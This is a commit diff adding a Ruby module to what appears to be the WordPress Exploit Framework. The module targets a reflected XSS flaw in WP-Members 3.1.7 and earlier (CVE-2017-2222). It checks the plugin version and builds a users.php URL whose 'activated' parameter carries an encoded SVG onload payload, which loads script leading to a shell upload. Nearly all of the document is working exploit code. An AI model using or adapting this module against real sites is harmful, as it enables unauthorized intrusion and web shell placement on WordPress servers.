Add WP-Members <= 3.1.7 reflected XSS shell upload

Author: rastating

modules/exploits/wp_members_reflected_xss_shell_upload.rb

@@ -0,0 +1,37 @@
+class Wpxf::Exploit::WpMembersReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP-Members <= 3.1.7 Reflected XSS Shell Upload',
+      author: [
+        'Chris Liu',                      # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8858'],
+        ['CVE', '2017-2222'],
+        ['URL', 'https://jvn.jp/en/jp/JVN51355647/index.html']
+      ],
+      date: 'Jul 13 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-members', '3.1.8')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'users.php')
+  end
+
+  def url_payload
+    url_encode("<svg onload=#{xss_ascii_encoded_include_script}>")
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?activated=#{url_payload}"
+  end
+end